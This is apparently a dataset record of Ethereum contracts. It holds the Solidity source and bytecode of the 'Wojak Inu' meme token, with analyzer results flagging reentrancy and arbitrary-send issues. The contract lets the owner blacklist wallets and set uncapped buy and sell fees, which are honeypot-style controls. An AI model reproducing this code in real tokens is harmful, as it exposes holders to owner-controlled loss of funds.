fffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611fff82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fea265627a7a72315820d0fe013e6d4f4040f58b2b64deb94b8ad00a15cc8df4d3e074c3fc15d82a2cae64736f6c634300050b0032
{"success": true, "error": null, "results": {}}
10,469
0x20d749f5e80fe10cf730910e70e8daf93ab65632
/** *Submitted for verification at Etherscan.io on 2022-04-10 */ // SPDX-License-Identifier: Unlicensed /* Wojak Inu Can INU change your life? Wojak has the answer. Wojak Inu is the variation of the original meme Wojak. The original Wojak is usually used as the symbol of sadness, melancholy, regret and loneliness. However, the Wojak Inu depicts the most updated and totally new sides of the supposedly sad Wojak. It presents a new version of Wojak with a big smiley face after gaining the icon of cryptocurrency - the cute INU as his life companion. What makes the pessimistic Wojak transformed into this optimistics Wojak? It is all because of the SHIBA INU he purchased back then! As many of you may have noticed, the lives of many people have changed because of SHIBA INU and Wojak is one of them. If you wish to share the happiness of Wojak, join us! https://wojakinu.club https://t.me/wojakinuportal */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WOJAK is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Wojak Inu"; string private constant _symbol = "WOJAK"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x191193960FE900BD33818632ea428BC27823B924); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e7 * 10**9; uint256 public _maxWalletSize = 2e7 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function seFee(uint256 amountBuy, uint256 amountSell,uint256 amountRefBuy, uint256 amountRefSell,uint256 amount) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; _burnFee = amount; } }
0x6080604052600436106101dc5760003560e01c806370a08231116101025780638f9a55c011610095578063afee16f211610064578063afee16f21461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b80638f9a55c0146104e557806395d89b41146104fb5780639e78fb4f14610529578063a9059cbb1461053e57600080fd5b80637c519ffb116100d15780637c519ffb1461047c5780637d1db4a514610491578063881dce60146104a75780638da5cb5b146104c757600080fd5b806370a0823114610411578063715018a61461043157806374010ece14610446578063790ca4131461046657600080fd5b806328bb665a1161017a57806349bd5a5e1161014957806349bd5a5e1461039c5780635d098b38146103bc5780636d8aa8f8146103dc5780636fc3eaec146103fc57600080fd5b806328bb665a146103285780632fd689e31461034a578063313ce5671461036057806333251a0b1461037c57600080fd5b80631694505e116101b65780631694505e1461029557806318160ddd146102cd57806323b872dd146102f257806327c8f8351461031257600080fd5b806306fdde03146101e8578063095ea7b31461022c5780630f3a325f1461025c57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b50604080518082019091526009815268576f6a616b20496e7560b81b60208201525b6040516102239190611eb1565b60405180910390f35b34801561023857600080fd5b5061024c610247366004611d43565b610604565b6040519015158152602001610223565b34801561026857600080fd5b5061024c610277366004611c8f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102a157600080fd5b506016546102b5906001600160a01b031681565b6040516001600160a01b039091168152602001610223565b3480156102d957600080fd5b50670de0b6b3a76400005b604051908152602001610223565b3480156102fe57600080fd5b5061024c61030d366004611d02565b61061b565b34801561031e57600080fd5b506102b561dead81565b34801561033457600080fd5b50610348610343366004611d6f565b610684565b005b34801561035657600080fd5b506102e4601a5481565b34801561036c57600080fd5b5060405160098152602001610223565b34801561038857600080fd5b50610348610397366004611c8f565b610723565b3480156103a857600080fd5b506017546102b5906001600160a01b031681565b3480156103c857600080fd5b506103486103d7366004611c8f565b610792565b3480156103e857600080fd5b506103486103f7366004611e3b565b6107ec565b34801561040857600080fd5b50610348610834565b34801561041d57600080fd5b506102e461042c366004611c8f565b61085e565b34801561043d57600080fd5b50610348610880565b34801561045257600080fd5b50610348610461366004611e5d565b6108f4565b34801561047257600080fd5b506102e4600a5481565b34801561048857600080fd5b50610348610923565b34801561049d57600080fd5b506102e460185481565b3480156104b357600080fd5b506103486104c2366004611e5d565b61097d565b3480156104d357600080fd5b506000546001600160a01b03166102b5565b3480156104f157600080fd5b506102e460195481565b34801561050757600080fd5b50604080518082019091526005815264574f4a414b60d81b6020820152610216565b34801561053557600080fd5b506103486109f9565b34801561054a57600080fd5b5061024c610559366004611d43565b610bde565b34801561056a57600080fd5b50610348610579366004611e76565b610beb565b34801561058a57600080fd5b506102e4610599366004611cc9565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506103486105df366004611e5d565b610c2c565b3480156105f057600080fd5b506103486105ff366004611c8f565b610c6a565b6000610611338484610d54565b5060015b92915050565b6000610628848484610e78565b61067a8433610675856040518060600160405280602881526020016120b6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611524565b610d54565b5060019392505050565b6000546001600160a01b031633146106b75760405162461bcd60e51b81526004016106ae90611f06565b60405180910390fd5b60005b815181101561071f576001600960008484815181106106db576106db612074565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061071781612043565b9150506106ba565b5050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b81526004016106ae90611f06565b6001600160a01b03811660009081526009602052604090205460ff161561078f576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6015546001600160a01b0316336001600160a01b0316146107b257600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108165760405162461bcd60e51b81526004016106ae90611f06565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461085457600080fd5b4761078f8161155e565b6001600160a01b03811660009081526002602052604081205461061590611598565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016106ae90611f06565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461091e5760405162461bcd60e51b81526004016106ae90611f06565b601855565b6000546001600160a01b0316331461094d5760405162461bcd60e51b81526004016106ae90611f06565b601754600160a01b900460ff161561096457600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b03161461099d57600080fd5b6109a63061085e565b81111580156109b55750600081115b6109f05760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106ae565b61078f8161161c565b6000546001600160a01b03163314610a235760405162461bcd60e51b81526004016106ae90611f06565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610a8357600080fd5b505afa158015610a97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abb9190611cac565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b0357600080fd5b505afa158015610b17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3b9190611cac565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b8357600080fd5b505af1158015610b97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bbb9190611cac565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610611338484610e78565b6000546001600160a01b03163314610c155760405162461bcd60e51b81526004016106ae90611f06565b600c94909455600e92909255600b55600d55601155565b6000546001600160a01b03163314610c565760405162461bcd60e51b81526004016106ae90611f06565b601954811015610c6557600080fd5b601955565b6000546001600160a01b03163314610c945760405162461bcd60e51b81526004016106ae90611f06565b6001600160a01b038116610cf95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106ae565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610db65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106ae565b6001600160a01b038216610e175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106ae565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610edc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106ae565b6001600160a01b038216610f3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106ae565b60008111610fa05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106ae565b6001600160a01b03821660009081526009602052604090205460ff1615610fd95760405162461bcd60e51b81526004016106ae90611f3b565b6001600160a01b03831660009081526009602052604090205460ff16156110125760405162461bcd60e51b81526004016106ae90611f3b565b3360009081526009602052604090205460ff16156110425760405162461bcd60e51b81526004016106ae90611f3b565b6000546001600160a01b0384811691161480159061106e57506000546001600160a01b03838116911614155b156113ce57601754600160a01b900460ff166110cc5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106ae565b6017546001600160a01b0383811691161480156110f757506016546001600160a01b03848116911614155b156111a9576001600160a01b038216301480159061111e57506001600160a01b0383163014155b801561113857506015546001600160a01b03838116911614155b801561115257506015546001600160a01b03848116911614155b156111a9576018548111156111a95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106ae565b6017546001600160a01b038381169116148015906111d557506015546001600160a01b03838116911614155b80156111ea57506001600160a01b0382163014155b801561120157506001600160a01b03821661dead14155b156112c8576018548111156112585760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106ae565b601954816112658461085e565b61126f9190611fd3565b106112c85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106ae565b60006112d33061085e565b601a5490915081118080156112f25750601754600160a81b900460ff16155b801561130c57506017546001600160a01b03868116911614155b80156113215750601754600160b01b900460ff165b801561134657506001600160a01b03851660009081526006602052604090205460ff16155b801561136b57506001600160a01b03841660009081526006602052604090205460ff16155b156113cb57601154600090156113a65761139b6064611395601154866117a590919063ffffffff16565b90611824565b90506113a681611866565b6113b86113b3828561202c565b61161c565b4780156113c8576113c84761155e565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061141057506001600160a01b03831660009081526006602052604090205460ff165b8061144257506017546001600160a01b0385811691161480159061144257506017546001600160a01b03848116911614155b1561144f57506000611512565b6017546001600160a01b03858116911614801561147a57506016546001600160a01b03848116911614155b156114d5576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156114d5576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561150057506016546001600160a01b03858116911614155b1561151257600d54600f55600e546010555b61151e84848484611873565b50505050565b600081848411156115485760405162461bcd60e51b81526004016106ae9190611eb1565b506000611555848661202c565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561071f573d6000803e3d6000fd5b60006007548211156115ff5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106ae565b60006116096118a7565b90506116158382611824565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061166457611664612074565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116b857600080fd5b505afa1580156116cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f09190611cac565b8160018151811061170357611703612074565b6001600160a01b0392831660209182029290920101526016546117299130911684610d54565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611762908590600090869030904290600401611f62565b600060405180830381600087803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826117b457506000610615565b60006117c0838561200d565b9050826117cd8583611feb565b146116155760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106ae565b600061161583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118ca565b61078f3061dead83610e78565b80611880576118806118f8565b61188b84848461193d565b8061151e5761151e601254600f55601354601055601454601155565b60008060006118b4611a34565b90925090506118c38282611824565b9250505090565b600081836118eb5760405162461bcd60e51b81526004016106ae9190611eb1565b5060006115558486611feb565b600f541580156119085750601054155b80156119145750601154155b1561191b57565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061194f87611a74565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119819087611ad1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119b09086611b13565b6001600160a01b0389166000908152600260205260409020556119d281611b72565b6119dc8483611bbc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a2191815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611a4f8282611824565b821015611a6b57505060075492670de0b6b3a764000092509050565b90939092509050565b6000806000806000806000806000611a918a600f54601054611be0565b9250925092506000611aa16118a7565b90506000806000611ab48e878787611c2f565b919e509c509a509598509396509194505050505091939550919395565b600061161583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611524565b600080611b208385611fd3565b9050838110156116155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106ae565b6000611b7c6118a7565b90506000611b8a83836117a5565b30600090815260026020526040902054909150611ba79082611b13565b30600090815260026020526040902055505050565b600754611bc99083611ad1565b600755600854611bd99082611b13565b6008555050565b6000808080611bf4606461139589896117a5565b90506000611c0760646113958a896117a5565b90506000611c1f82611c198b86611ad1565b90611ad1565b9992985090965090945050505050565b6000808080611c3e88866117a5565b90506000611c4c88876117a5565b90506000611c5a88886117a5565b90506000611c6c82611c198686611ad1565b939b939a50919850919650505050505050565b8035611c8a816120a0565b919050565b600060208284031215611ca157600080fd5b8135611615816120a0565b600060208284031215611cbe57600080fd5b8151611615816120a0565b60008060408385031215611cdc57600080fd5b8235611ce7816120a0565b91506020830135611cf7816120a0565b809150509250929050565b600080600060608486031215611d1757600080fd5b8335611d22816120a0565b92506020840135611d32816120a0565b929592945050506040919091013590565b60008060408385031215611d5657600080fd5b8235611d61816120a0565b946020939093013593505050565b60006020808385031215611d8257600080fd5b823567ffffffffffffffff80821115611d9a57600080fd5b818501915085601f830112611dae57600080fd5b813581811115611dc057611dc061208a565b8060051b604051601f19603f83011681018181108582111715611de557611de561208a565b604052828152858101935084860182860187018a1015611e0457600080fd5b600095505b83861015611e2e57611e1a81611c7f565b855260019590950194938601938601611e09565b5098975050505050505050565b600060208284031215611e4d57600080fd5b8135801515811461161557600080fd5b600060208284031215611e6f57600080fd5b5035919050565b600080600080600060a08688031215611e8e57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208083528351808285015260005b81811015611ede57858101830151858201604001528201611ec2565b81811115611ef0576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fb25784516001600160a01b031683529383019391830191600101611f8d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611fe657611fe661205e565b500190565b60008261200857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120275761202761205e565b500290565b60008282101561203e5761203e61205e565b500390565b60006000198214156120575761205761205e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461078f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c037103bea275376357fe697c918a54d68817e719cbccf1e255e1dc834f85f364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,470
0x0c54cd042f6ca794ec20261cea42df3c794c7d8d
